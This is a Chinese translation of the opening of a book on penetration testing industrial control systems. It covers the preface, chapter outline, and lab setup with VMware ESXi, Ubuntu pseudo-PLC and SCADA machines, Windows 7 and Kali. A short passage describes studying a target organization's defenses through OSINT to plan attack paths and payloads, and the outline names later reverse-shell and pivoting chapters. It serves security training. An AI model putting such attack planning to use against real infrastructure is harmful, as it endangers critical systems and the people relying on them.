工控系统渗透测试-全-

工控系统渗透测试(全)

原文:annas-archive.org/md5/80b080100a57bf810954ab78196440b9

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

工业网络安全行业近年来有了显著增长。为了真正保护今天的关键基础设施,红队必须不断测试和利用公司员工、流程和产品的安全性。本书与大多数书籍的不同之处在于,它帮助你获得与实际设备的动手经验,这些设备你将在实际工作中遇到。这样,你将能够理解工业设备如何在运营环境中相互作用和操作。

本书从帮助你掌握工业过程的基础开始,然后向你展示如何创建和破坏这一过程,同时收集开源情报,为你的潜在客户创建一个威胁环境。随着学习的深入,你将了解如何安装并使用专业黑客常用的进攻性技术。全书内容包括工业设备、开源情报收集、端口和服务发现、跳跃攻击,最后对工业网络中的系统发起攻击。

在本书结束时,你不仅能理解如何分析和应对工业控制系统ICS)的复杂性,还将获得重要的进攻性和防御性技能,以积极保护工业网络免受现代网络攻击。

本书的读者对象

本书最初只是一本工业渗透测试的手册,旨在帮助那些想了解工业渗透测试的人;然而,随着很多人向我询问如何进入操作技术OT)安全领域,它逐渐发展成了一本涵盖两个领域融合的书。我想尽量涵盖 OT 和 IT 人员这两个方面的内容。希望进行工业渗透测试的 IT 安全人员,将学习到工业渗透测试中的自动化和控制方面的知识;而想更好理解潜在威胁环境的自动化/控制工程师,则将学习更多关于 IT 网络方面的知识。

本书涵盖的内容

第一章使用虚拟化,将带你了解虚拟化的基本构建模块,然后逐步构建一个支持我们虚拟 ICS 实验室的虚拟机监控器(hypervisor)。

第二章硬件路由,介绍了设置可编程逻辑控制器PLC)的原理,并进一步讲解如何将该 PLC 连接到我们新创建的虚拟机监控器上的虚拟机。

第三章我爱我的比特 – 实验室设置,将带领我们完成编写、下载并上传第一个程序到 PLC 的步骤。

第四章开源忍者,教你如何运用 Google-Fu 技巧,在 LinkedIn 上过度分享,在 Shodan.io 上查找暴露设备,浏览 ExploitDB,最后利用国家漏洞数据库。

第五章如果你能做到,拦截我,教你关于 SPAN 和 TAP 的知识,以及它们如何在渗透测试中得到应用,接着我们将深入探讨入侵检测系统。

第六章数据包深入分析,带你了解典型数据包的结构,教你如何从网络中捕获数据包,并分析这些数据包中的关键信息。

第七章扫描 101,从构建一个实时 SCADA 系统开始,然后使用 NMAP、RustScan、Gobuster 和 feroxbuster 对我们的实时 SCADA 系统进行扫描技术操作。

第八章协议 202,深入探讨 Modbus 和 Ethernet/IP 协议以及我们如何利用这些协议在工业控制系统内执行渗透测试任务。

第九章忍者 308,利用 FoxyProxy 和 Burp Suite 分析并攻击 SCADA 用户界面。

第十章我可以做到 420,从安装和配置公司侧的防火墙开始,以提供更完整的实验室设置。然后,我们继续进行扫描、利用漏洞,最后获得反向 shell。

第十一章哇……我得深入,现在我们已经得到了 shell,探讨了如何运行后渗透模块以获取网络内部数据。我们将提升我们所攻破机器的权限,然后向下进行 pivot,深入到更低的网络段。

第十二章我看到了未来,通过带你了解如何利用前一步发现的凭证,并接入 SCADA 界面,从而实现对系统的最终控制,探讨了凭证重用的危险。

第十三章被攻陷但有悔意,讨论了核心交付物——报告。如果没有证据,测试真的发生了吗?我们将为未来的评估/渗透测试准备一个模板,然后讨论报告中包含的关键信息,最后,记录可以供蓝队未来保护其系统使用的建议。

为了充分利用这本书

你应该尽量获得一台能够支持 32GB 以上内存并至少有两个以太网端口的迷你 PC。Intel NUC、GIGABYTE BRIX 和 Zotac Z-Box 是适合运行虚拟镜像的非常有用的设备示例。

如果您使用的是本书的数字版本,我们建议您自己输入代码或通过本书的 GitHub 仓库获取代码(链接将在下一节中提供)。这样可以帮助您避免由于复制和粘贴代码而导致的潜在错误。

行动中的代码

本书的《行动中的代码》视频可以在 bit.ly/3iZpT2f 上观看。

下载彩色图像

我们还提供了包含本书中使用的截图和图表的彩色图像的 PDF 文件。您可以在此处下载:www.packtpub.com/sites/default/files/downloads/9781800202382_ColorImages.pdf

使用的约定

本书中使用了许多文本规范。

文本中的代码:表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账户。例如:“继续打开标记为 4SICS-GeekLounge-151021.pcap 的 PCAP 文件,使用 Wireshark。”

一块代码设置如下:

def run_async_server():

store = ModbusSlaveContext(

di=ModbusSequentialDataBlock(0, [17]*100),

co=ModbusSequentialDataBlock(0, [17]*100),

hr=ModbusSequentialDataBlock(0, [17]*100),

当我们希望您特别关注代码块的某个部分时,相关行或项会用粗体显示:

import logging

FORMAT = ('%(asctime)-15s %(threadName)-15s'

'%(levelname)-8s %(module)-15s:%(lineno)-8s %(message)s')

logging.basicConfig(format=FORMAT)

log = logging.getLogger()

log.setLevel(logging.DEBUG)

任何命令行输入或输出都如下所示:

tcpdump -i -v -X

粗体:表示新术语、重要词汇或您在屏幕上看到的词汇。例如,菜单或对话框中的词汇以 粗体 显示。示例:“我们将设置端口镜像,请从左侧菜单中选择 监控 选项,然后选择 端口镜像。”

提示或重要说明

以这种形式出现。

联系我们

我们始终欢迎读者的反馈。

一般反馈:如果您对本书的任何内容有疑问,请发送电子邮件至 customercare@packtpub.com,并在邮件主题中注明书名。

勘误表:尽管我们已尽一切努力确保内容的准确性,但错误仍然会发生。如果您在本书中发现错误,请报告给我们。请访问 www.packtpub.com/support/errata 并填写表单。

盗版:如果您在互联网上发现任何非法复制的本书作品,请提供该材料的网址或网站名称。请通过 copyright@packt.com 联系我们,并提供链接。

如果你有兴趣成为作者:如果你在某个领域有专业知识,并且有兴趣撰写或参与编写书籍,请访问authors.packtpub.com

分享你的想法

一旦你读完渗透测试工业控制系统,我们很想听听你的想法!请点击此处直接前往亚马逊的书籍评论页面并分享你的反馈。

你的评论对我们以及技术社区非常重要,将帮助我们确保提供优质内容。

第一部分 - 入门指南

工业控制系统ICS)是关键基础设施的核心。理解它们所影响的过程有助于深入了解所选供应商和运行的设备。由于 ICS 领域涵盖了多个行业,如电力、能源、化学、水务、制造业、交通、建筑管理和游乐园等,而这些主要行业下又有细分领域,如生产/发电、配送/分配和精炼等,因此构建一个全面的实验室变得困难。然而,出于所有目的,我们将构建一个测试实验室,作为探索战术、技术和流程的起点。这个入门实验室将帮助你建立一个基础,随着设备在多年中逐步积累,这个基础将具备可扩展性。

本节将涵盖以下章节:

  • 第一章使用虚拟化

  • 第二章硬件布线

  • 第三章我爱我的比特——实验室设置

第一章:使用虚拟化

本书的第一章涉及虚拟化的相关性以及熟悉不同版本的重要性,包括 VirtualBox、Hyper-V、KVM、VMware 等。然而,在本书中,我们将专注于 VMware,特别是 ESXi Hypervisor,因为它是免费的,并且在生产环境中能看到的东西的一个缩小版本。我们将启动 Hypervisor 来创建我们自己的实验室,在其中安装一些虚拟机VM),并尝试模仿虚拟监控与数据采集SCADA)环境。

在本章中,我们将涵盖以下主要内容:

  • 理解虚拟化是什么

  • 探索 VMware 是什么

  • 打开所有内容

  • 路由和规则

技术要求

对于本章,您将需要以下内容:

  • 支持虚拟化和双接口的计算机

  • VMWare ESXi

  • VMWare Fusion

  • Ubuntu 镜像

  • Windows 7 镜像

  • Kali Linux 镜像

以下是您可以导航到下载软件的链接:

理解虚拟化是什么

虚拟化,通俗来讲,是通过纯软件的方式模拟任意硬件和软件组合的方法。这使得任何人都可以运行和测试无数个主机,而无需承担硬件要求的财务负担和成本。如果您有发行版承诺问题,这将特别有用。

我无法强调理解虚拟化内部工作原理的重要性有多大。这项技术已经成为所有开发和测试都进行和构建的基础。我参与的每个项目都有其基础设施的大部分在某种虚拟化平台上运行。了解虚拟化如何运作的具体知识对于任何项目至关重要,您可以在您的受害者组织或技术上执行侦察,并在您的虚拟实验室内重现它。

通过进行一些简单的开源情报OSINT)工作,你可以轻松发现一个组织正在使用的网络设备,包括他们的防火墙技术、终端保护以及公司安装的操作技术入侵检测系统OT IDS)。有了这些信息,你可以访问你新发现的情报的官方网站,下载该软件的虚拟机实例,并将其与新搭建的本地虚拟环境一起运行。从这里,你可以规划每一个攻击角度,设计多种妥协场景,确定如何以及在哪里进入网络的低层段,构建利用已知漏洞的有效载荷,并最终获得王国的钥匙。这个技巧将在后续章节中进一步讨论,但要知道,它是构建攻击路径、渗透组织基础设施的关键。

虚拟化的一个最重要特性是使用快照。如果在任何时候,你“弄坏”了一台设备,你可以将其恢复到之前的状态,从头开始,记录下失败的尝试,并最终避免在实际操作中遇到同样的问题。这样,你可以尝试各种攻击方式,而不必太担心结果,因为你知道可以恢复到一个稳定的副本。我在职业生涯中接触过许多虚拟化厂商/产品,包括VMwareVirtualBoxHyper-VCitrixKVM。每个都有其优缺点。我默认使用 VMware,并将在本书中继续使用他们的各种产品。

无论如何,这绝不是对 VMware 的任何销售推广;只需要知道,VMware 更容易使用,因为其在整个产品生态系统中的集成几乎是无缝的,几乎让人感到恼火,因此它已经成为组织在其环境中采纳的中介。

理解虚拟化在渗透测试中的重要作用,将有助于你加强新兴的职业生涯。练习在每个平台上启动基本的虚拟机,将帮助你理解每个平台的细节,并学习虚拟硬件依赖关系的复杂性。作为奖励,通过熟悉每个虚拟化平台,你将能够找出你更喜欢哪款软件,并深入挖掘其细节。说到这里,我将使用 VMware 来构建实验室。

发现 VMware 是什么

VMware 成立于 1998 年,并于 1999 年推出了他们的首个产品,VMware workstation。公司成立三年后,他们将 GSXESX 推向了服务器市场。Elastic Sky XESX)一直保留该名称,直到 2010 年。之后,VMware 投入时间和资金对操作系统进行升级并现代化用户界面,增加了 "i" 字母,产品也因此被称为 ESX 集成ESXi)。如果你正在阅读这篇文章,我想我可以合理地假设你已经浏览过几本相关书籍,因为大多数书籍都涉及 桌面虚拟化管理程序,如 PlayerWorkstation 和/或 Fusion。接下来,我想更进一步,带你进行一些实际操作和 ESXi 的实践体验。

好吧,也许这有点像营销宣传,但我可以诚实地说,我从未为 VMware 工作,也没有因宣传他们的技术而获得任何版税。然而,我觉得如果不带你亲身体验一下这项技术,我会对你不公平,因为你在实际工作中一定会遇到它。我个人在石油和天然气、能源、化工、制药、消费品生产、离散制造和主题公园等领域遇到过 VMware,仅举几个例子。

一个典型的生产解决方案包括以下内容:

  • 分布式资源调度器DRS

  • 高可用性HA

  • 整合备份

  • VCenter

  • 虚拟机

  • ESXi 服务器

  • 虚拟机文件系统VMFS

  • 虚拟对称多处理SMP

若想更好地了解这些特定组件,请参考以下网页:www.vmware.com/pdf/vi_architecture_wp.pdf

我不打算深入探讨 VMware;相反,我只是想让你了解一些在参与工作时会遇到的技术组成部分。然而,我确实想强调核心技术栈,包括 vCenter、ESXi 服务器和虚拟机(VM)。这些几乎是大规模组织中所有虚拟化实施的基础。vCenter 控制着 ESXi 服务器,而 ESXi 服务器是虚拟机存在的地方。了解这一点将帮助你理解权限提升的路径,一旦你在公司运营层的虚拟机上站稳脚跟。多年来,我与安全人员进行了许多关于职责分离SoD)的讨论,负责应用程序的团队也乐意向我解释他们为遵守保密性完整性可用性CIA)所付出的巨大努力和艰难历程。在与这些团队进行桌面演练时,问他们“谁控制着你们应用所在的 ESXi 服务器?”然后接着问,“如果你们的 vCenter 被攻破,你们的暴露面有多大?”,你会发现,大多数情况下,他们的回答会让你震惊,甚至让你感到不寒而栗。我挑战你去问问你的 IT/OT 团队——或者任何管理你虚拟基础设施的人——每台服务器上运行了多少虚拟机。然后继续问,“你们上一次进行灾难恢复DR)故障转移测试是什么时候?” 知道关键控制是否运行在一个资源紧张的超负荷服务器上,从风险缓解的角度来看是非常有用的,但本书的目的是利用系统中一个被忽视的组件的弱点。

下图展示了我们之前提到的不同组件之间的关系,以及它们如何相互集成:

图 1.1 – VMware 基础架构

图 1.1 – VMware 基础架构

我曾为一家蒸汽辅助重力排水SAGD)重油公司工作,他们的部分声明内容是将Rockwell PlantPAX DCS虚拟化。这一切都建立在ESXi 集群之上,运行在一个强大的vSphere平台上。理解 VMware 的最大收获是,在企业级别,vSphere 是平台,而 ESXi 是虚拟机监控程序。在本书中,我将展示VMware Fusion的截图,它是 macOS 专用的桌面平台,还有 ESXi 的截图。如果你使用 Windows,有两个选择——VMPlayerVMWorkstation。我将重点介绍 ESXi,因为我认为理解这项技术是进行工业渗透测试的关键任务。

在本节中,我们介绍了 VMware 的基本概念,讲解了构建虚拟化栈的核心组件,并分享了一些你在实际环境中可能遇到的实例。接下来,我们将直接进入正题,启动所有服务。我们将从 VMware Fusion、VMware ESXi 和虚拟机的安装过程开始,为后续章节中的测试创建一个虚拟的 监控控制与数据采集SCADA)环境。

启动所有服务

既然我们已经简要了解了虚拟化是什么,下一步是通过安装 VMware Fusion、VMware ESXi 服务器和四个虚拟机来构建实验室的核心,以模拟 SCADA 环境。这更像是一个话题的引入或是我想全盘托出的声明,如果前两个部分让你觉得困难,那么接下来只会更难,并且有许多写得很好的资源可以参考或在深入探讨这个主题之前阅读。

话虽如此,让我们开始搭建实验室的虚拟部分。我不想当一个“数字土豪”,也不想在处理器、RAM、存储和其他琐事上浪费时间。不过,谈论硬件是不可避免的——换句话说,我们拥有的核心数和内存越多,就越好。我发现即使在配备 8 GB RAM 的Mac上运行Fusion也是可行的,但它非常受限,如果你打开 Google Chrome 进行任何研究,那就得准备好接受系统崩溃的现实,开始分页(请参阅下面的提示,了解这是什么意思)。

重要提示

当计算机内存不足时,系统会将部分内存内容从 RAM 移动到磁盘空间中,以释放内存供计算机继续运行。这一过程称为分页。Google Chrome 是导致这一问题的主要罪魁祸首之一。

由于这是一次痛苦的个人经历,我建议至少配备 16 GB 的 RAM 和 4 个核心。如今大多数系统默认都配备了这个配置。如果我说我在看新的PowerBook,它可以处理 64 GB 的 RAM 和 8 个核心,那我就是在说实话。现在,启动 ESXi 需要更强大的系统。我最初是用Dell PowerEdge R710开始我的实验室的。我四处寻找可以以最低成本获取的旧设备(或停用的设备),并发现了一些不错的交易。从那时起,我转向了Gigabyte BrixIntel NUC,它们的体积从厨房桌子的大小变成了手机的大小,噪音比吹风机低到图书馆里掉下的针一样,这些因素毫无疑问是让我选择 Brix 或 NUC 来运行 VMware ESXi 的原因。我还得说,我一直在关注SuperMicro IOT服务器,它允许使用服务器级内存,同时保持与 Gigabyte Brix 和 NUC 相似的小巧外形和低噪音比。未来的 ESXi 设置中,我将使用一个回收的加密矿机来构建我的服务器,因为我有几个这样的设备,可以让我向系统中添加更多内存。

快速规格如下:

  • AMD Ryzen 7 3800X

  • 128 GB RAM

  • 2 TB 或磁盘

这些并不是你必须遵循的要求。它们只是我从剩余的零部件中拼凑出来的。我个人推荐任何配备 16 GB 或更多 RAM 和至少两个网络接口的 Intel NUC 产品。

这是一个链接,你可以访问它来浏览他们的产品线:simplynuc.com/9i9vx/

在本节中,我们将涵盖以下子主题:

  • 如何安装 Fusion

  • 如何安装 Hypervisor

  • 启动 Ubuntu 作为伪可编程逻辑控制器PLC

  • 启动 Ubuntu 作为伪 SCADA

  • 启动 Windows 工程工作站

  • 启动 Kali Linux

  • 设置网络分段,以模拟类似于普渡大学的模型

开始吧!

如何安装 Fusion

安装 Fusion 的第一步是从以下链接下载 Fusion:

www.vmware.com/products/fusion/fusion-evaluation.html

这个过程应该是直接的,因为你可以选择使用 Fusion PlayerFusion Pro。我个人使用 Fusion Pro,因为在我使用的所有工具中,它被证明是最有效的。

一旦你安装了 Fusion,我们将继续安装 ESXi Hypervisor。我们将在本章稍后讨论实验室的网络设置。现在,请继续下载 Hypervisor。

如何安装 ESXi

安装 ESXi 的第一步是从以下链接下载 ESXi:my.vmware.com/en/web/vmware/evalcenter?p=free-esxi7

请注意,我将使用版本 6.7,因为我在为我的实验室拼装设备时遇到了硬件兼容性问题。

如何安装虚拟化软件

你需要执行以下步骤:

  1. 与工作站或 Fusion 不同,你需要创建一个VMware 账户。一旦你创建了账户并验证了身份,你就可以继续下载。你将进入以下页面,页面上会展示四个选项:一个是ISO文件,第二个是包含 VMware 工具的 ISO 包,一个是本地ZIP格式包,另一个是README文件:图 1.2 – 虚拟化软件下载列表

    图 1.2 – 虚拟化软件下载列表

    下载 ISO 文件后,你可以将其刻录到 USB 闪存盘上,然后用该 USB 闪存盘启动并执行裸机安装。这两种格式的主要区别在于,ZIP 格式允许用户进行微调并添加第三方驱动程序来发布和构建自定义 ISO。

    重要提示

    裸机安装指的是一台没有任何操作系统的机器,这是第一次在机器硬盘上安装操作系统。

    如果你打算在消费者级 PC 上执行裸机安装,这点尤为重要,因为标准的 ISO 包中并不涵盖所有网络驱动程序,且需要在发布前将它们添加到基础包中。我们在本书中不会涉及此内容。

  2. 选择 ISO 文件后,你将被引导到一个链接,提供哈希列表。这是良好的安全习惯,因为它为用户提供了哈希值列表,以验证下载包的有效性:图 1.3 – 文件完整性检查

    图 1.3 – 文件完整性检查

    如果我们没有通过运行哈希检查来确认文件的完整性,那我们就不是合格的安全从业人员了。这一点非常重要,以确保文件在传输过程中没有被篡改。现在,一些关注新闻的人可能会说,供应链攻击能够绕过这种验证。一个供应链攻击的例子是SolarWinds Orion,当时有人怀疑一个 APT 组织,名为Cozy Bear,更新了 Orion 的代码库,并使哈希检查失效,因为开发者发布了包含恶意软件和清洁代码的哈希值,然后验证它是否为真实来源。无论如何,始终检查文件的哈希值仍然是一个好的做法,可以防止脚本小子在你的实验室内立足。

    重要提示

    通常,脚本小子是一些经验不足的黑客,他们下载了一款软件,但并不完全理解运行该软件后的结果是什么,只是因为他们并不关心攻击的结果或影响,只要它能做点什么,他们就会运行它。

  3. 通过运行哈希检查来检查你新下载的 ISO 文件。正如以下截图所示,我进行了SHA-1检查,并将其与 VMware 提供的SHA1SUM检查进行了比较:图 1.4 – SHA-1 校验和

    图 1.4 – SHA-1 校验和

  4. 现在我们已经确认哈希匹配,我们需要将此内容刻录到USB 密钥上,以便可以从 USB 密钥启动并在服务器上安装 ESXi。我已经非常依赖balenaEtcher来创建可启动的 USB 密钥。一旦你手动制作了几百个,甚至上千个 USB 密钥,Etcher带来的简便性真的是一种福音。

  5. 访问balenaEtcher官网并下载软件,可以通过以下链接进行下载:www.balena.io/etcher/

  6. 下载balenaEtcher并启动工具。你将看到以下界面。你需要点击选择镜像并选择虚拟化管理程序镜像:图 1.5 – 选择要烧录的镜像

    图 1.5 – 选择要烧录的镜像

    由于balena会搜索 ISO 文件中的GPTMBR 分区表,如果未能找到,它会提醒用户,因此会出现以下警告。你可以继续闪存到 USB 密钥,因为从密钥启动应该没有任何问题:

    图 1.6 – 缺少分区表警告

    图 1.6 – 缺少分区表警告

  7. 点击继续后,工具会带你进入下一个界面,整个过程只需要几分钟。趁此机会休息一下,去补充你的咖啡或其他偏好的饮品,等你回来时,它应该已经完成。一旦完成,拔出 USB 密钥并插入你将要进行裸机构建的机器:图 1.7 – 刷写 USB 密钥

    图 1.7 – 刷写 USB 密钥

    过去,我在Intel NUCGigabyte BrixSupermicro IoTDell PowerEdge等服务器上构建过各种虚拟化管理程序服务器。为了演示,我决定重新利用一些以前用于加密货币挖矿的旧设备,但这是另一个话题,可能会在另一本书中讨论。根据你的实验室预算,我在eBay上找到了很多不错的设备,效果很好。我刚做了个快速搜索,找到了几台大约 $150.00 美元的 1U 服务器。

  8. 接下来,我假设你有合适的设备,可以从 USB 密钥启动并进行裸机安装虚拟化管理程序。一旦你开机,系统将从你新制作的 USB 密钥启动。你接着需要设置用户名密码,如以下截图所示,然后设置 IP 地址,可以通过 DHCP 获取动态地址,或者设置静态地址。一旦设置好了管理 IP 地址,你就可以打开网页浏览器并访问 GUI:图 1.8 – VMware ESXi 登录

    图 1.8 – VMware ESXi 登录

  9. 使用在安装过程中配置的用户名密码登录。认证通过后,您将看到 ESXi 的主机管理页面,如下截图所示:

图 1.9 – VMware ESXi 仪表盘

](image/Figure_1.09_B16321.jpg)

图 1.9 – VMware ESXi 仪表盘

如果您通过最小的努力已经到达这里,那么说明一切顺利。至此,我们已成功在实验室硬件上安装了 VMware Fusion 和 VMware ESXi。我们距离建立一个完全运行的工业控制系统ICS)实验室又近了一步。在接下来的章节中,我们将在新服务器上安装虚拟机(VM)。

将 Ubuntu 启动为伪 PLC/SCADA

我们将模拟一个虚拟的可编程逻辑控制器PLC)和SCADA组合,建立一个测试平台,以帮助我们在本书中逐步形成我们的操作方法。PLC 通常是一个小型的、坚固耐用的计算机,用于控制工业过程。这些过程可以从机场的人员搬运设备,到控制SpaceX 的猎鹰 9;从非常简单的开关任务,到非常复杂的级联控制任务。我们可以在石油和天然气、能源生成、传输和分配中找到自动化系统,确保我们可以给 iPhone 和 Android 设备充电;食品和饮料生产,例如可口可乐;化学混合和灌装;制药制造,例如辉瑞疫苗的生产;交通运输中的飞机电子设备用于控制飞机飞行系统;医院用于监控患者;以及更多的行业。PLC 无处不在,这些设备控制着我们日常生活中习以为常的事物。SCADA 是一个广泛的系统,用于控制一组更大范围的已定义过程。以人员搬运设备为例,您可以使用一个单独的 PLC 来控制人员搬运设备的本地开关行为和速度。然后,这些数据会被发布并由 SCADA 系统控制,允许操作员远程控制这个过程的运行。PLC 和 SCADA 的组合对于单一过程而言可能是过度的,但 SCADA 真正展现优势的地方是当您希望控制机场、购物中心,甚至是拉斯维加斯大道上的所有人员搬运设备时。SCADA 系统可以启动或停止单独的过程,或者同时启动或停止所有过程。它的强大之处在于,在设计安全防护时,确保保护该系统应该是最重要的。

现在这段简短的介绍结束了,我选择使用Ubuntu作为我的Linux 发行版。它由Canonical开发,并且是一个维护良好的发行版。熟悉它将有助于你前进,因为 Canonical 已经开发了UbuntuCore,它是一个支持物联网IoT)生态系统的操作系统。我提到这个是因为运营技术OT)行业正在慢慢转向采用物联网技术来替代传统设备。许多大厂商正在这个领域进行创新,以丰富他们的产品组合。好吧,未来的闲聊就到这里;让我们进入下载阶段:

  1. 首先,导航到以下链接以开始下载:ubuntu.com/download/desktop

    这将带你到一个类似这样的网页:

    图 1.10 – Ubuntu 软件下载

    图 1.10 – Ubuntu 软件下载

  2. 点击下载按钮,然后坐下来等它完成。根据你的网络连接,下载可能需要一些时间。

    下载完成后,我们可以继续安装操作系统。有多种方法可以做到这一点。一种方法是在 Fusion 上安装,然后连接到服务器,将虚拟机从 Fusion 上传到 ESXi。另一种选择是将 ISO 文件传输到 ESXi 的数据存储中,并从那里配置一个新的虚拟机,将 Ubuntu ISO 挂载在虚拟 DVD 驱动器上。我们将使用数据存储方法,因为我们希望尽可能少地使用本地资源,不想通过托管多个虚拟机来消耗本地计算机的资源。我们将登录到 GUI,在主机管理界面上,点击存储下的数据存储选项,如下图所示:

    图 1.11 – 存储数据存储

    图 1.11 – 存储数据存储

    根据你的设置,你可能只有一个磁盘多个磁盘。这种配置超出了本书的范围,但最终,这取决于你个人的偏好。

  3. 接下来,我们将点击数据存储浏览器按钮。屏幕上会弹出一个模态窗口,如下所示:图 1.12 – 上传浏览器

    图 1.12 – 上传浏览器

  4. 在这里,你需要选择将上传 ISO 文件的那个数据存储。然后,我喜欢创建一个目录,将所有 ISO 文件放在其中,便于以后快速调用。你可以看到创建名为iso_folder的目录的示例,见下图:图 1.13 – 创建新目录

    图 1.13 – 创建新目录

  5. 现在,您需要选择新创建的目录并点击上传按钮。这将打开一个Finder/Explorer窗口,您可以在其中选择刚刚下载的ISO文件。选择后,您将看到一个进度条,指示文件的完成情况,如以下截图所示:图 1.14 – 上传进度

    图 1.14 – 上传进度

    一旦文件上传完成,您将看到新上传的虚拟机出现在iso_folder中:

    图 1.15 – 已上传的 ISO

    图 1.15 – 已上传的 ISO

  6. 下一步是从屏幕左侧的导航器菜单中选择虚拟机。然后点击屏幕右侧的创建/注册虚拟机按钮,如以下截图所示:图 1.16 – 虚拟机仪表盘

    图 1.16 – 虚拟机仪表盘

  7. 一旦点击,这将弹出一个模态窗口,显示三个不同的选项:

    a. 创建新的虚拟机

    b. 从 OVF 或 OVA 文件部署虚拟机

    c. 注册现有虚拟机

    您可以在以下截图中看到这一点:

    图 1.17 – 创建虚拟机

    图 1.17 – 创建虚拟机

    我们将在这里选择创建新的虚拟机选项。这将弹出另一个窗口。从这里,我们需要填写名称兼容性客户操作系统系列客户操作系统版本等选项。兼容性是一个选项,允许虚拟机访问特定版本的虚拟硬件。我们可以在以下截图中看到这是什么样子的:

    图 1.18 – 兼容性选择

    图 1.18 – 兼容性选择

  8. 点击下一步。您将进入一个新界面,您可以在其中选择希望在哪个数据存储中启动新的PLC 虚拟机。我选择了VM-Storage并点击了下一步图 1.19 – 选择存储页面

    图 1.19 – 选择存储页面

    下一屏幕允许您自定义我们正在加载的虚拟机。由于这台虚拟机将模拟一个 PLC,我们希望保留与真实现成设备相同的资源配置。关键点将是我们加载到CD/DVD 驱动器 1中的Datastore ISO文件。

    如下截图所示,我选择的规格是1CPU,1GB RAM,40 GB 磁盘空间,VM 网络Datastore ISO(Ubuntu ISO):

    图 1.20 – 自定义设置页面

    图 1.20 – 自定义设置页面

    我们将在下一节配置网络,使其遵循准普渡模型。普渡模型是用于分段工业网络的理论框架。已经出版了许多书籍,详细记录了根据普渡模型对网络进行建模的实用性,因此我强烈推荐你拿一本来阅读。普渡模型是一种应用标准进行分段的方法,尽管已经创建了许多其他标准,而且许多都是行业特定的。在北美,针对公用事业行业的北美可靠性公司关键基础设施保护NERC CIP)是一套可靠性标准,用于遵循安全最佳实践。化学设施反恐标准CFATS)是专门为化学工业制定的,但这些标准之间有很多重叠。国际标准化组织ISO/IEC)27000 系列,特别是 ISO-27002,已经在北美以外地区采用,此外还有国际自动化学会ISA)99 或 ISA 62443,这是普渡模型的最终来源。

  9. 现在,点击完成。这将把已配置的虚拟机放入数据存储区。然后,我们将运行该虚拟机,它将引导我们进入 Ubuntu 安装过程。我们可以通过点击以下截图中显示的绿色开机按钮来完成:图 1.21 – PLC 虚拟机

    图 1.21 – PLC 虚拟机

  10. 点击开机按钮后,您将看到如下页面:图 1.22 – 启动虚拟机

    图 1.22 – 启动虚拟机

  11. 按照通常安装任何 Linux 发行版的方式安装Ubuntu。安装完成后,您应该会看到如下所示的登录界面:

图 1.23 – PLC 虚拟机的登录界面

图 1.23 – PLC 虚拟机的登录界面

我们将重复所有步骤,创建名为 PLC 的虚拟机:

  1. 创建一台新虚拟机。

  2. 加载存储区中的 Ubuntu ISO DVD。

  3. 选择 1 个 CPU、4GB 内存、40GB 硬盘和一个虚拟机网络接口。

  4. 点击开机按钮。

  5. 如同之前一样进行安装。

现在,将虚拟机命名为 SCADA。现在你有了两台 Ubuntu 虚拟机——一台名为 PLC,另一台名为 SCADA——接下来的步骤将是更新虚拟机,并添加我们希望用来模拟虚拟 PLC的关键软件包。

首先,登录到PLCSCADA虚拟机,并运行以下命令:

sudo apt update

sudo apt upgrade

这将确保你拥有最新版本的核心软件包,构成你的 Ubuntu 机器。接下来,我们将安装特定软件包,以便能够创建虚拟 OT 实验室

需要安装的关键软件包如下:

sudo apt install git

sudo apt install vsftpd

sudo apt install telnetd

sudo apt install openssh-server

sudo apt install php7.4-cli

sudo apt install python3-pip

pip3 install twisted

pip3 install testresources

pip3 install pytest

pip3 install cpppo

pip3 install pymodbus

下一步我们必须做的是克隆一个特定的工具。

运行以下命令:

git clone https://github.com/sourceperl/mbtget.git

cd mbtget

perl Makefile.PL

make

sudo make install

几乎每个软件包都有独立的书籍来详细介绍,所以在这里我不会深入细节,而是会解释每个软件包的背后原因。

它们如下所示:

  • git:我们将使用这个工具克隆一个用Perl 编写的简单 Modbus 客户端,名为 mbtget

  • vsftpd:这是一个非常简单的 FTP 守护进程,允许我们模拟网络中的配置文件传输。

  • telnetd:这是一个 Telnet 守护进程,也将帮助我们模拟网络中的配置文件传输。

  • openssh-server:这允许我们通过 ssh 连接到 PLC 进行命令和控制。

  • php7.4-cli:这将帮助我们在本书后面模拟 PLC 接口。

  • python3-pip:这是一个专门用于 Python 3 的包管理器。

接下来的软件包是专门为 Python 编写的:

  • twisted:一个网络引擎,是 pymodbus 的依赖。

  • testresources:一个单元测试包,是 pymodbus 的依赖。

  • pytest:一个测试引擎,并且是 Cpppo 的一个依赖。

  • cpppo:一个用于测试各种工业协议的有用引擎。在本书中,我们将重点介绍 Ethernet/IP。

  • pymodbus:这是一个可以作为客户端/服务器使用的 modbus 引擎。

下一个软件包是 mtbget,它是Perl 特定的。它是一个 modbus 客户端,非常有用于现场测试设备。

目前我们在 ESXi 服务器中运行着两台完全更新的 Ubuntu 机器。我们还安装了各种软件包,这些软件包将帮助我们模拟 PLC 与 SCADA 之间的关系。我们还可以通过不同的协议生成远程连接,这将在后续章节中派上用场。接下来,我们将构建一个工程工作站和一个 Kali Linux 攻击盒子。

启动 Windows 工程工作站

如果你能够顺利完成安装,那么我们就离拥有一个完善的虚拟实验室更近了一步。接下来,我们需要获取一个Windows 7 镜像。这很重要,因为我们配置和与物理硬件通信所需的软件大部分是为 Windows 开发的。严格来说,它最初是为 Windows XP 开发的,后来升级到了 Windows 7\。

按照我们构建 Ubuntu 虚拟机的步骤,我们将创建我们的 Windows 7 机器:

  1. 创建一个新的虚拟机。

  2. 加载存储库中的 Windows7 ISO 的 DVD。

  3. 选择 1 个 CPU,4 GB 内存,40 GB 硬盘和一个 VM 网络作为接口。

  4. 点击开机按钮。

  5. 安装 Windows。

安装并登录 Windows 后,你应该看到一个类似于以下的界面:

图 1.24 – Windows 7 虚拟机

图 1.24 – Windows 7 虚拟机

现在我们的 Windows 7 虚拟机已经运行,我们将继续安装 Kali Linux。

启动 Kali Linux

Kali Linux是一个专为安全研究评估渗透测试等设计的 Linux 发行版。尽管名称自检查软件包以来有所变化,但它仍然是市场上最广泛使用的安全工具之一。

点击这里下载您的 Kali Linux 副本:www.kali.org/downloads/.

